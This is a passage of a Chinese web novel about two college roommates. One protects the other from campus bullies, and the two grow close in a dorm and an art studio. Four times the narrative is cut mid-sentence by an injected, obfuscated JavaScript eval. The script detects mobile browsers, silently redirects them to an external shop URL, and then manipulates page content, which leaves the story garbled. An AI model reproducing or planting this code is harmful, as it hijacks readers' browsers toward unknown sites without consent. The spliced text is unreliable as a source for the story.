再涂慢点,他感觉自己都要愈合了。 池佑刚直起身,温奈看着他,若有所思一会儿,眼眸微微眯着,噙着笑:“你刚刚在看什么?” 他和人对视两秒,诚道:“你的脖子和大腿,怎么都有伤。” “嗯?噢这个,”温奈顿了一下,眼神飘开,伸手摸脖子,“我前两天出了个小车祸,不小心划伤的。” 车祸? 池佑一下想起来:“是高速刚下来那段路吧,那天应该是我不小心撞了你,抱歉。” 温奈一愣:“那辆车是你开的?我听说那车连人一起掉到江里去了,我还以为凶多吉少了,但你现在看起来一点事都没有。” 池佑也是一顿,他才知道不是小车祸。 那估计是林芸韩城宇怕他有阴影,两人医院里就都没提起过那天车祸的细节。 他道:“可能我运气好吧。” 温奈一想,道了句“也对”。 他说完伸出手,将他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297388|198597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上的创口贴抚平,轻笑一声:“小幸运星。” 冰凉的触感一闪而逝。 面前近在咫尺的那两汪小酒窝也是。 温奈涂好却没有回去。 他坐着犹豫半天,慢腾腾道:“池佑……我帮你涂药了,能不能答应我一个请求。” 像是也知道这不太公平,头低低垂着,显得可怜些。 池佑却是刚回神,下意识问:“什么?” “你有没有多的被子能借我,最薄的也行……我现在床上什么也没有,跟那两人也不太熟,过几天洗了还你。” 池佑去找了找,有倒是有,却是跟被单差不了多少的夏空调被,不说到了凌晨会不会太冷,看样子温奈连身底下的铺子都没有。 睡在床板上,只盖这个的话…… 他站起来道:“好像没有,你去我床上睡吧,都还是新的。” 但温奈却是静了一下,忽然瞅了他好几眼:“那,那好么,你不介意?” 池佑语气自然:“都是男的介意什么。” 温奈睫毛闪着,又是看了他好几下,估计还是太累了,抵抗不住备好的温床诱惑。 半晌后道:“那我上去了,你可不要半夜觉得太挤了,又反悔把我踢下来。” 池佑想说什么,想了想最后只是道:“放心吧,不会。” 温奈眨了下眼睛,笑起来:“嗯。” 他把椅子搬回去,爬上梯子。 刚上了这张床上,他就发现自己竟然已经开始有些舍不得下去了。 床铺厚敦敦的,面团一样绵实柔软。缎料被面裁剪得当,是贴合了学校的床大小的,贴着肌肤的地方凉丝丝、滑溜溜的。 他揪着自己的睡衣,本来没觉得怎么,但现在看确实粗糙许多。 瞧着看上去很温暖的被子,他顿了顿,还是没有碰,只贴着边躺下了。 这样的被窝光是看着,就觉得挺暖和了。 但过了一会儿,他躺不住,又攀上栏杆,冒出头,正好能看见底下池佑的发旋儿。 他瞧了一会儿才出声。 “你打算什么时候睡?” 池佑抬起头,对上温奈发丝下露出的一双眼睛。 他道:“我等下准备再洗个澡,你先睡吧。” “哦……洗澡的话,那我刚涂好的药……” “我会小心点不碰到的。” “嗯那就好……”不知道再说什么了,温奈指腹磨着冰凉的杆子,小声道,“你的被子看上去好舒服。” 看上去? 池佑眉梢微挑了下,又平复下来。 然后他眼尾扬了点,带着笑。 “那要摸么?” 温奈静住了,没想到他会学自己的话,受不住对方的注视,一下钻回去了。 他抱着自己的腿,闷闷盯着被子,半天后轻轻哼了一声。 居然学他,看来被子必须得给他摸一下了。 他伸手摸了一下,发现也就和想象的差不多暖和,手收回来。 过了会儿,浴室传来洗漱的动静。 他还是盯着被子,心想都被学了,那盖一点总也可以。 他偷摸扯过来一角,轻轻放在脸上。 是吸饱阳光的味道。 他有点喜欢,就偷偷又扯过来点,直到整张脸都可以埋进去。 池佑洗完从浴室出来,手机上另外两人已经回了消息,都不回来,让他俩随便睡。 他便将灯关了,踩上梯子。 借着月光,能一眼看见蜷在床最里边的身影,似乎已经睡着了。 但旁边被子只乱了一角,盖在小脸上,脑袋也只挨着枕头一点,留出了大半空位。 池佑看了会儿,叹口气,还是先到自己床上,准备给人调整一下。 他将被子往下扯些方便透气,又试图把人往中间捞点,省得那么拘束。 但没想到手刚碰到温奈腰身,人就惊醒了。 对方好似还朦胧着,却先恍惚地抓住了他那只手,带着急切又恳求地呢喃,“我不盖了……别,别摸。” 清冷月光下,那双望着他的微微睁开的眸子里似乎泛着一点水光。 池佑一下顿住了。 8. 睡觉 他收回手,有点意外地看着对方,“抱歉,把你吵醒了。” 听见他的声音,温奈看上去缓了好一会儿,他把被子慢腾腾扯开,退到里面去,离他远些。 又重复了一遍刚刚的话:“……我不盖了,就、就借我躺一晚上好么?” 池佑有些困惑了:“为什么不盖?到了半夜会有点冷吧。” 温奈没说话,只是又往里缩了缩,手挡在脸前,藏起大半的神情,没有看他,声音很轻:“你、你要收费么?” 收费? 池佑道:“肯定不用啊,我收什么费。” “……那别的呢?”温奈声音还带着刚睡醒的含糊,又像是有些无助,“你……会要别的东西么?” “就睡一晚而已,我要什么?你怎么了?”池佑终于觉出点不对劲。 这人在状态迷糊的时候好像反应总是有些奇怪。 他问:“你是不是身体不舒服?” 温奈手指打开些,露出泛着光的眸子,瞧着他,好像在确认:“免费给我睡?” 池佑实在忍不住了:“你是不是发烧了?借个床而已,这不是寝室里很正常的事吗?哪有什么免费收费的。” “正常……”温奈好像也清醒了些,他把手放下了,语气低迷地“哦”了一声。 他坐起来,伸手指被子:“我们一人一半么?” “不,都给你,我去那边睡。” 池佑趁他还没反应过来,就用被子把他给团起来,像医务室里那样放好。 温奈睁大眼睛,任他摆弄,半晌反应过来。 “你,你不睡自己的床?” “太挤了。”池佑真怀疑他是发烧了,伸手碰了下躺着的人额头,除了马上被躲开以外,温度好像又正常。 既然没事,他也累了一天,有些疲惫了,便从梯子上到另一张床上去了。 刚躺好,过了一会儿,温奈的声音幽幽响起。 “我一点也不胖。” 好像还带了点闷气。 池佑闭着眼,懒得睁开,语气倒是带着笑:“那我过来跟你一起睡?” 那边没声了。 池佑正准备酝酿睡意,那道细小的声音又响起来。 “那还是……现在这样比较好。” 当然,一人一床宽敞多了,两个男的挤一块算怎么回事。 池佑也就“嗯”了一声,算作回应。 就在他马上要入睡的前一秒,忽然感觉头发被揪了一下。 温奈好像凑近了些,声音几乎在他耳边,很轻道:“池佑,谢谢你。” “……” 池佑睁开眼,直直盯着天花板,过了会儿,就回了两个字。 “睡觉。” “哦……” 温奈察觉到什么,心虚地飞快答完,趴着不动了。 - 第二天,池佑一大早就醒了,那边的人还团在被子里。 刚下床,恰好门开了,米家宝从外面进来,一抬头看见他还挺意外,“哟起这么早?” 池佑拿起桌上手机看了眼,才六点半,确实很早。 米家宝要冲澡,池佑先去浴室洗漱完,出来换衣服时,床上的人好像翻了个身。 随即响起一道声音迷迷糊糊地在喊他的名字:“池佑……” 他抬起头,应了一声:“嗯?” 温奈很困难地挣动两下,挪到床沿扒在栏杆上,眼都还没睁开,对着他:“……你要去哪里?” “晨跑。”池佑问,“要不要一起?” 他没听见回话,只听到人噗咚一声躺回去了,看起来是一点兴趣都没有。 明明体质不好,竟然还不爱运动。 池佑想着来日方长,等以后再熟一点,就把人一块拉起来。 他没去操场,只绕着学校跑了几圈,也算熟悉环境,八九点去早餐店,没想到遇到了个熟悉的人。 准确来说,是熟悉的声音。 “草,一点事情都办不好,那些废物居然连个学生都打不过。也不知道哪个不长眼的,别让我找出来了……” 池佑排着队,安静听着坐在那边的人发牢骚,旁边两人还不停附和。 忽然来了个电话,那个人停下骂声,恭恭敬敬地接起。 “喂?薛哥……你放心你放心……下个月记得的……你回来前我定叫那小子吃点苦头,保管让他自己滚回来求你……” “肯定肯定……我去找他说……好……好……知道了明白……回见啊薛哥。” “草!” 一挂了电话,那人又开始骂骂咧咧。 “他搬去哪个寝室了打听到了吗?” 池佑眉梢动了动。 他们又交谈了几句,旁边有人小声说,“姜哥你吃什么我去买。” “随便,肉包吧。”姓姜的心情烦躁。 池佑在队伍末尾,等排到他,前面正好只有几只肉包,他随手一点,就全买了。 排在他后面那人暗骂了一声:“……吃这么多。” 他就好像没听见,拿上自己的袋子往外走。 正要走到门口时,淡淡看了眼那桌,正巧对上那人视线。 记住长相后,他懒得多看,收回了目光。 排队的回来告诉姜文肉包子没了,姜文罕见地没生气,他盯着刚刚走过去那人的背影,眯了眯眼,奇怪道:“……那创口贴怎么这么眼熟。” 池佑打开寝室门时,看见温奈已经坐在自己桌前,不知道在写什么。 米家宝又在阳台晒衣服,还让温奈帮他拿了个衣架。 看上去两个人已经互相认识了。 温奈写累了伸个懒腰,余光正巧看见刚回来的人,转过头,或许是看见他穿着速干T恤,有些惊讶:“你去晨跑了?” “对,走了几圈,”池佑提着袋子走过去,“你早餐吃了吗,要不要挑点。” 温奈今天脸蛋有点粉,显得气色很不错。 他弯起眼眸:“单给我买的?” 池佑没多想:“没,我买了很多,你选完了,我去分给他俩。” 温奈瞧着他,“哦”了声,看向袋子,故意挑走了只有一份的叉烧包和O泡果奶,这样看起来自己还是最特殊的。 米家宝在外头听见还有自己的事,走进来,看见丰盛的早点,惊叹地“哇”了一声,“池哥,买这么多做慈善呢,有没有我的份?” “随便挑吧,唐明煦还没回来?” “他不都这样么,下午军训动员大会前应该能回来吧,可别扣了咱班的分。” 米家宝作为寝室长有作为班长,一向很有责任心。 他拿了一个肉包子叼嘴里,转头对温奈:“温温,你就吃一个包子?” ……温温?池佑把袋子放一边的手顿了下。 “嗯。”温奈平常话并不多。 “行吧,对了池哥,”米家宝玩着手机,忽然喊池佑,“你昨天是不是去打球了?论坛上你照片都传开了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297389|198597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他打开给人看。 池佑闻言看了眼,温奈也凑到他面前。 开屏就是些热烈的尖叫吹捧。 「啊啊啊是帅哥,妈妈姥姥我的大学生活有救了!」 「多看几眼感觉能多活几年」 「欸打球这么凶,那」 「姐妹们先别急,我有种预感……」 …… …… 池佑只看见几句,其他就被面前的人睡醒没梳理有些炸毛的头发挡住了,他还没来得及开口。 温奈转过头,语气莫名幽幽:“你还挺受欢迎。” 他这么一转,池佑就又能看到一点,瞄到其中一句跟其他画风很不一致,有点好奇:“这句什么意思?” 「看流鼻血了,好想知道这哥们的型号」 米家宝转手机回去一看,也疑惑道:“型号?” 温奈看后,面无表情接话:“发错了吧,可能是想问你衣服码号。” 另外两人恍然大悟。 “池哥那这些人要你号码都找到我这来了,咱要不要给啊?”米家宝又把手机递给池佑看。 池佑本想拒绝,忽然看见其中一个ID叫做“姜丝片儿”。 早餐店看见的那张脸莫名便浮现在面前。 他思索了一下,把手机还回去,言简意赅:“给。” 没想到“啪叽”一声,旁边的人捏扁了手里的果奶空壳。 两人一同看向温奈,米家宝察觉什么,赶紧在屏幕上划拨两下,又给他们看一个帖子。 “温温,其实也有你的,昨天被投上来的,那时候你还没搬到我们寝,我也是今天才看到。” 但温奈看上去像是早就知道,兴致缺缺。 池佑倒是看了看,他道:“你也不赖,很多人问你衣服码号。” “……”温奈没看屏幕,只看着他慢腾腾说,“这论坛匿名什么人都有,我才不会加这些乱七八糟的人。” 他故意把“乱七八糟”四个字咬得很重。 但池佑没听出什么,他还在看一条条评论。 “她们叫你乖乖仔,弟弟,崽崽,”他顿了顿,皱眉道,“为什么没人这么叫我?” 米家宝愣了下,险些被他的话逗笑了:“一米九的大猛崽啊?” 旁边忽然一道冷哼:“你又不乖。” 温奈声音很闷,说完就转身去把手上的空壳投进垃圾桶,哐当一声。 池佑闻言沉思了一会儿:“说的也是,我确实不是这类型。” 他看向温奈,白白瘦瘦,清爽干净,没什么攻击性,性子又软画画还好,看着就是三好学生,怪不得女孩子会更喜欢。 但看人瞧着有些不开心的样子,池佑好心询问:“你怎么了,不喜欢被那样说?” 温奈揉捏着手上的叉烧包,里头好像有些黄澄澄的油水将出未出,随时准备爆开,十分危险。 但他只是垂眼瞧着,一句话也没说。 居然这么在意。 池佑同样看着那包子,为了寝室的卫生,他出声安慰:“别那么不高兴,这些称呼也是善意的,大多因为喜欢你。” 温奈有点反应了,抬起眼瞧着他,抿了下唇,不快道:“都是假的,我又不是那样的人,以后……以后就变了。” “怎么会,”池佑挑起眉毛看着他,唇角扬起,“别这么不自信,你本来就很乖乖仔啊。” 温奈脸色一下红润了些。 “你,你不准那样喊我……” 9. AAA “为什么不让我喊?” 别人能,他不能,池佑就有点不乐意。 “乖乖仔听上去就跟个面包团子似的……”说着,池佑自己还想象了一下,就好像手上真的出现一团面团,他忍不住虚捏了一下,笑了,“没什么不好的。” 温奈看见了,脸好像更粉了些,急惶惶地将手上那个包子塞到他那手里。 “你,你……我不要这个了,快给我换个三鲜包。” 池佑果然被转移了注意,给他换了一个,边递边自言自语:“你是咸馅面包团子。” 温奈没回他的胡言乱语,低头啃咸包子去了。 旁边米家宝还在刷论坛,突然一乐:“哈哈哈哈她们说你这种纯情脸最渣了。” 池佑看向那边,论坛果然乱七八糟,他心想。 “为什么这么说?” 米家宝当然也不知道,但他还是一脸八卦:“池哥你到底谈过几个啊?” “……我没谈过。” 米家宝一脸震惊:“什么!” 池佑倒是一脸淡定,他上辈子光顾着旅游和电子竞技了,哪有什么空谈恋爱。 而这辈子……他要跟主角一起认真读大学,估计跟恋爱也没什么关系。 不过还好,他也不感兴趣。 米家宝本还想再问什么,但他收到一则通知,导员让各班班长去校对军训用的迷彩服数量,他只好叹一声气,跟他俩告别,带着早点出门干活去了。 寝室里就只剩下他们两人,池佑看见袋子里还有东西,道:“你刚刚就拿了一个包子,够吗?” 温奈只是瞅他:“为什么要加那些人?” 池佑道:“你说论坛里的人?怎么了?” “就……可能会有骗子。” 温奈说完,自己都信了,脸色都变得严肃了些。 “骗我?”池佑眨了下眼。 “对啊,你这种最好骗了,到时候底裤都要被骗掉。”温奈看他不信,立刻说得夸张了些。 “我哪种?”池佑比较关心这个。 没想到对方卡壳了一下,那双水色的眼睛瞄瞄他,视线就朝一旁移开了点。 “反正、反正别加,我也是在担心你。” 池佑视线跟着转过去:“那我就加一个行不行?” 温奈目光嗖地转回来:“为什么一定要加那个?” “那个人的头像,是很稀有的一个皮肤,我想问他怎么获得。” “……”温奈刚提起的那口气一下放回肚子里,他装作思考的样子。 “嗯……那应该不会骗你,不过还是建议你问完就删了。” “好,我聊完就删,别担心。”池佑从袋子里拿出一样东西,“这个饭团还热着,你吃了吧。” 温奈接过拆开闻闻:“你怎么知道金枪鱼的最好吃,还挺会买。” 池佑不知道,他只是每种都买了,那天递过去的正好是温奈喜欢的而已。 不过,在此之后他就知道了。 军训刚开始的几天,米家宝唐明煦叫苦连天,池佑没什么感觉,温奈连苦都叫不动了。 这越发坚定了池佑以后要拉着温奈一起锻炼的想法。 不过在那之前,他先收到了一条申请添加好友的消息,ID:姜丝片儿。 池佑直到这天的下午三点军训结束,他跟着班级大部队往操场外走的时候,才通过那条申请。 对方好像一直在线,直接开门见山:「温奈在你们寝?」 池佑没回这句。 他同样直接道:「你们不要再欺负他了,这是霸凌,下次让我抓到我就报警」 过了一会儿对面才回。 姜丝片儿:「你是傻缺吗逗我呢」 姜丝片儿:「上次带走他的人就是你吧」 姜丝片儿:「少多管闲事」 “……”池佑看着弹出的消息,深深皱起眉。 原来是个二货。 看来没有什么商量的必要,他删了对方。 对面估计没想到被删了,发现后似乎气炸了,开始消息轰炸他,新联系人那里的小灰框不断弹出辱骂。 池佑把他拉黑了,手机放回兜里,回去洗澡。 对面的衣筐里有脱下来的迷彩服,应该是人回来过,只是又出去了。 唐明煦在边嗑花生边看剧,据说是他女友逼他看的,说着还分了点零食给他们。 池佑给人发了条消息,不过等到洗完澡出来,对方都还没回。 这是一件很稀奇的事。 自从加上温奈以来,两人从没有超过一小时不回复对方。 毕竟在学校里,谁偶尔都会看一下手机。 不过池佑心想,也可能他现在画室正忙。 温奈的头像比较无趣,纯黑色,一点都不像他这个人。 当然,池佑自己的也没好到哪里去,画面中心是他前不久刚抢到的最新限量款游戏机。 池佑点进他朋友圈,依旧是三天可见,不过在刚刚有了一条新的,拍了一张身上T恤被染上大块颜料的照片,配文:打翻了/哭哭。 看起来是在画室,现在还是军训期间没有开始上课,温奈去那大约出于兴趣爱好,或者是帮什么学长学姐的忙。 发完这条朋友圈后估计是看到了池佑的消息,终于回复了他之前问的什么时候回来。 温奈:「我还要在艺术楼待一会儿,你要不要饮料,回来给你带」 池佑正想回什么比较好,上方又弹出一条消息,丁浩问他军训怎么样,不累就来打球。 刚开学是有点闲得无聊。 他问温奈:「我待会儿出门经过艺术楼,要不要带件干净衣服给你?」 温奈:「你看见我朋友圈啦,其实也没事,就是有一点点丢人」 池佑:「你在哪,我带给你吧」 温奈:「嗯……会不会有点太麻烦」 池佑:「顺路」 要到具体画室位置后,池佑拿上温奈的干净衣服跟室友打了个招呼就出了门。 但是在去往艺术楼的路上,他有点迷路,又是看地图又是看路标找了半天,总算是走到这座偏欧式的建筑底下。 等到了人烟稀少的顶楼,绕了一圈,没找到温奈说的7号画室。 他蹙着眉走回大厅,掏出手机准备问一下温奈,还没打好字,听到隔着大半个场地的对面走廊隐约有嘭地一声。 他握着手机走过去,还没来得及走近,那里遥遥传来一些闹音,在寂静中格外清晰。 “草这么能跑,总算给我逮住了,老实点!你们两个把他按住。” 一道熟悉的声音响起,此刻有些紧张。 “你知不知道这是学校!我喊一声楼下的人都能听见。” 姜文嗤笑一声:“你敢喊我就把你那事传得人尽皆知,让你现在跟高中一样混不下去。” 对面一下就不出声了。 姜文倒是说得上头:“就你事多,听话点去跟薛哥道个歉赶紧滚回来,咱俩都省力。” 被抓住的人回得很简单:“你滚开。” 温奈冷冷瞧着他们。 梦里这帮人从高中开始,一直到最后都没放过他,他的人生就是从被这些人缠上了开始,一路悲剧下去。 但今天这段本来也没有,大概因为上次那事的蝴蝶效应,这才莫名其妙在这艺术殿堂被不学无术的姜文带人堵住了。 其实对于姜文他倒不是很害怕,蠢货一个。但他还是需要思考一会儿到底怎么逃掉。 姜文摆弄着他缴获的手机,忽然乐起来。 “哎我刚刚的视频发错人了,你应该不会介意吧。本来打算发给薛哥,谁知道,这个AAA突然发了条消息。” 闻言 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297390|198597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,温奈静了一静。 他抬起眼皮:“他发了什么?” 姜文上下看他:“你很想知道?他发——哦他迷路了,来,让我给他发个更远的地点……欸我说你该不会还想等你这新朋友来救你吧,以为自己是什么公主啊那好可惜,白马王子迷路了哈哈哈。” 温奈不想眼睁睁看着他操作,垂下眼睫,但听到这种比喻,嘴角还是忍不住抽了抽:“你读点书吧。” “你找死啊。”姜文一下冷了脸,“啧,那家伙说我们霸凌你,但霸凌得打人吧,我都还没打你,我看今天可以试试了,骨头太硬的得这样治治。” 温奈听了,不仅没低头,反倒抬眼死死盯着他,看见扬起手,磨了磨牙后,咬紧。 姜文看着他,忽然“草”了一声,“你这眼睛,怪不得薛哥……” 他咳了声,隐去后话,像是改了主意,手推了旁边的门,“这画室没人,把他带进去,我有个好玩的……反正你那新朋友大概是来不了了——” 温奈愣了一下,奋力挣扎起来:“放,放开我!” 姜文立刻去捂他的嘴:“喂我说了你敢喊……” 以后的事以后再说,他可不能现在就悲剧了。 温奈这么一想,立刻大声:“救命!杀人啦……同,同学!” 他忽然瞥见那边有一个人走过来,赶紧拼命喊。 正在他不确定对方会不会多管闲事的时候,那同学走近了,身形越发清晰,也越发熟悉。 同学一直走到他们面前,和他对上视线。 温奈一静,怔怔地看着对方。 不是说迷路了吗。 姜文也看见了,见了鬼一样,先发制人:“喂那谁,你、你敢再过来连你一块揍。” “我说了不准霸凌他。” 池佑走过去,要拉走温奈。 “哈霸凌,”姜文一听这词这么文绉,胆子好像大了点,忽然抓住了温奈的头发,“我告诉你这才叫霸凌……” 他正准备扯,忽然眼前一闪,左脸猛地就挨了一拳,人整个摔在地上。 一瞬间,他脑子有点发蒙:“靠你,你是以暴制暴啊……怎么不早说……” 另外两人一看这情形,也不敢上前了,赶紧冲过去扶着他装作关心的样子:“姜哥姜哥,你没事吧……” 池佑把温奈拉到一边,走过去准备拽起那人衣领准备多给几拳,好叫他记住这种疼痛,下次就不敢了。 那几人一看这架势,立刻就站起来,姜文走时还不忘放狠话:“你俩给我等着!” 池佑没理会那些人了,转过来问他:“受伤没有,要不要去报告。” “没有,没事,谢谢你。”对面的人虽这么说着,可能刚刚被吓到了,看上去情绪还有些低迷。 “是那群人不对,你别不高兴。”池佑察觉后,试图开玩笑安慰他,“……之前说你是软包子,可别真就这么软塌着了。” 但他开玩笑的水平似乎有点烂。 温奈只是闷闷回应他:“……那都怪你乌鸦嘴。” 池佑不知道该说什么了,有些干巴巴尝试他的玩笑风格:“早知道说你是硬包子会不会好点?” “我就一定得是包子么?”温奈这才有点笑意,他好像在刚刚的几句话里自己调节好了情绪,转开话题时,语气都轻松了些,“你刚不是说迷路了吗,最后怎么找到的?” “……在那边听到动静,就走过来看看,还以为又有谁被欺负了,正好碰见了你。”这么说着,池佑想起自己是干什么来了,“衣服带来了,现在要去换吗?” 温奈也像是想起什么,没有马上接过衣服。 想起那件东西,他忽然间恢复了生机似的,笑起来,阴霾散开,里头露出的眼睛像一对新月了。 语气还带点莫名的小兴奋:“衣服先等等,快来,我有个东西要给你看。” 10. 画室 进入画室后,温奈还先卖了个关子。 “你猜猜看是什么。” 池佑扫视一圈,很快就答出来了:“画。” “哇……不然我带你来看大象?能不能再具体点。” 池佑看他期待的眼神,就又想了想,憋出一句:“是你刚刚在画的画。” 时间答得详细了些也算具体些吧。 温奈放弃了,他道:“对了一点儿。其实是设计图纸。” 他把从一堆纸张中掏出唯一没皱的那张。 “听说下个月学校不是要举办篮球赛了嘛,学姐让我帮忙设计一份,你觉得怎么样?指不定到时候你拿的奖杯就是我设计的呢。” 池佑倚在旁边桌上,仔细看这图,细节条条罗列,但他看不出好坏:“你怎么知道是我们会拿?” 温奈哼哼一声:“学姐告诉我的,她听说你们绝对第一。” 池佑随便想想就知道,那位学姐大概是听谁说的。 但他还是先在室友面前谦虚点:“吹的。” 温奈笑起来,眼睛亮亮:“加油呀,第一名多光荣,会有好多人围着你。” 池佑知道他以前是拿过很多第一名的,他道:“你又不是我们学院的,怎么光顾着给对手加油鼓劲?” 温奈又哼哼了一会儿,低下头,他把设计图放到一边,又开始找起什么。 “学院又怎么了,我们还是室友呢……我还是更希望你赢一点。” 被人寄予希望,虽有压力,但还是不开心不可能,池佑心情微微有些飘飘然。 但他又觉得不对:“但我都还没加入篮球队,说这些还是太早了。” “快了吧,距离百团大战也没几天了,院队肯定也要招了。” 池佑“嗯”一声:“等班长通知。” 温奈找了半天,终于撩起一纸边缘时,手感对了:“终于找到了,我还有这个给你看,画得不好你不要介意。” 池佑靠近了些看,画面上是一只手,单手托球姿势,手臂如紧绷的弓弦,五指顺势拨球而出,即将扣入篮框。 他目光顿在上面,手指蜷了一下。 “这谁?” “你的手你认不出来。”温奈睁大眼睛,“我画得不像么?不过我确实好像很久没画人体了……” 他们专业的事池佑不懂,他有些疑惑:“嗯……你什么时候去看我打球了?” “篮球场就在那啊,天天这么闹腾,难道路过看两眼都要怪我偷偷?”温奈抬了抬下巴。 池佑挠脸:“也不是这个意思……” 温奈把画举近了点:“你还没说怎么样呢。” “还不错,很逼真。”池佑诚心评价,“不过你是不是给我画白了,还画瘦了点。” “真的吗?”温奈不信自己的观察出现了误差。 池佑便放上去比了比:“你看,可以完全挡住。” 温奈瞅了瞅,果真如此,他败下阵来:“估计是你军训太认真了,练粗了手臂,还几天就晒黑了,你看你都变成小麦色了。” 池佑觉得这没什么,不过他看了看温奈:“你一看就偷懒不少。” “说出来就过分了啊。”温奈心虚还不忘瞪他一眼。 他把这张画夹到板上:“我人体练的少,等我明天加工一下再送你。” “好。”池佑应了声。 此刻四点多,他余光看见那边窗外夕阳西下,粉紫色的云彩长横万里。 他视线就转过去,斑斓的光轻柔地罩下来,被玻璃轻轻一滤,剩了层光影落在正在整理的人身上。 落在那双隔着层空气与画作重叠的手上,雪白边缘多了一层光边,随着手的动作,上下晃动,袅袅绰绰。 画师真会画。 池佑这么心想。 刚好拿着手机,他就举起想记录这瞬间,结果忘记开静音键,“咔嚓”一声很响亮。 池佑放下手,面不改色对上转回来露出疑惑神情的人的视线。 那两条细眉深深蹙起来了,唇也抿了抿,神色有些僵硬得不自然了:“你刚才……偷拍我?” 池佑见状,道歉然后解释:“我觉得很好看,怕说了来不及就错过了,才先斩后奏。” 说完,他把手机递给他看:“你不喜欢我就删了。” 温奈凑过来,看见照片后静了一下,顿时有些忍俊不禁:“怎么就只有手啊。” “构图还不错吧。”池佑略懂一点摄影,以前出去玩被叫住帮忙拍照的时候,总是会得到很多夸赞。 “我再看看。” 照片里,自己的手叠了一点在画上,温奈看了一会儿,忽然道:“拍得真好,我要拿这张当头像。” 池佑一愣,倒没想到自己拍照技术有好到这样。 不过一想到那个黑乎乎的头像确实不符合温奈气质,他便道:“那我发你。” 温奈换好头像后,拿过池佑帮忙带来的衣服,两手反抓住两端衣角。 正要往上脱时,忽撩起眼皮朝他看来:“我换衣服呢,快转过去。” “哦。”池佑转过去,但有些奇怪,“你要在这换?画室有监控会不会不太好。” “我里面还有一件啊。” 池佑面前是一墙涂鸦,听完他后知后觉:“那你要我转回去干什么?” “池佑,”温奈声音带着揶揄的笑,“所以我说你很好骗啊。” “……”池佑反应过来,转回来看着他,默默道:“无聊。” 哪知温奈笑得更开心。 于是眼睛变成小鱼了,目光活活地朝他游来,“别生气,我送好多画给你,以后你可以卖好多钱。” 池佑道:“大言不惭。” 虽然大概会是真的。 温奈眉毛一下挑老高:“我可没骗你,你知道么,绝大多数画家都是死后成名,你也可以稍微期待一下我……” 他忽然住嘴,瞧见面前的人神色沉下来了。 温奈立刻收了嘴角,瞄着他的表情,讷讷道:“你别这么严肃……只是个玩笑。” “不好笑。” 一点都不吉利,池佑臭脸。 “赶紧换。” “噢……”温奈老实脱掉衣服,开始换。 他里头是件透气短衫,在初秋也算是薄得可怜。 池佑皱皱眉,还是转开视线:“你这穿了跟没穿也差不多。” 温奈低头瞅瞅自己,哼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17297391|198597||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一声:“就算我没穿,看了又有什么关系?我又没肚腩又没斑点也没什么特别难看的地方吧,一点也不辣眼睛。” 好像有些道理。 而且这里也就他们俩男的,温奈有的他都有,确实没什么不能看的。 池佑转回来:“说得也是。” 不过总觉得盯着别人换衣服也不太礼貌,他最后还是看画去了。 温奈三两下套完了,收拾了一下东西,背包拿画具,池佑顺手帮他把换下来的衣服拿着。 不过等到起身时,他耸了耸鼻子,忽道:“你有没有闻到一种气味?” 温奈道:“嗯?松节油吗,画室都有的,常年这味,虽然有点臭但提神醒脑。” “不是,不一样。”池佑嗅着。 忽然意识到什么,拿起温奈换下来那件闻了闻,恍然道:“好像是这个。” 温奈愣了下:“你别污蔑我,我出来时可洗过澡,哪有臭味。” 他虽然这样说着,还是忍不住拉起自己衣领闻了闻,脸色微微红:“不过或许是刚刚出了点点汗那有可能……” “没,是有点香的,嗯……”池佑有点描述不出来。 “香?”温奈立刻没那么窘迫了。 他松开衣领,不知是想到什么,眼珠滴溜溜一转,视线落回他身上,凑过来,神秘兮兮指着自己刚刚闻过的地方:“那好像闻到了,是这儿不,你闻闻看。” 池佑看了一眼他松松垮垮的衣领,顿了下,就靠近嗅了嗅。 温奈身上是某种柑橘调、又带点皂香的干净气味,比衣服上沾的那点要更清晰,纯澈,也好闻些。 温热的呼吸喷洒在脆弱的颈侧,那块皮肤下的脉搏都好像跳动得更明显了点。 红痣在黄昏的光线里更艳,随着皮肤的起伏,鲜活而又生动。 他抬起头,慢慢远了。 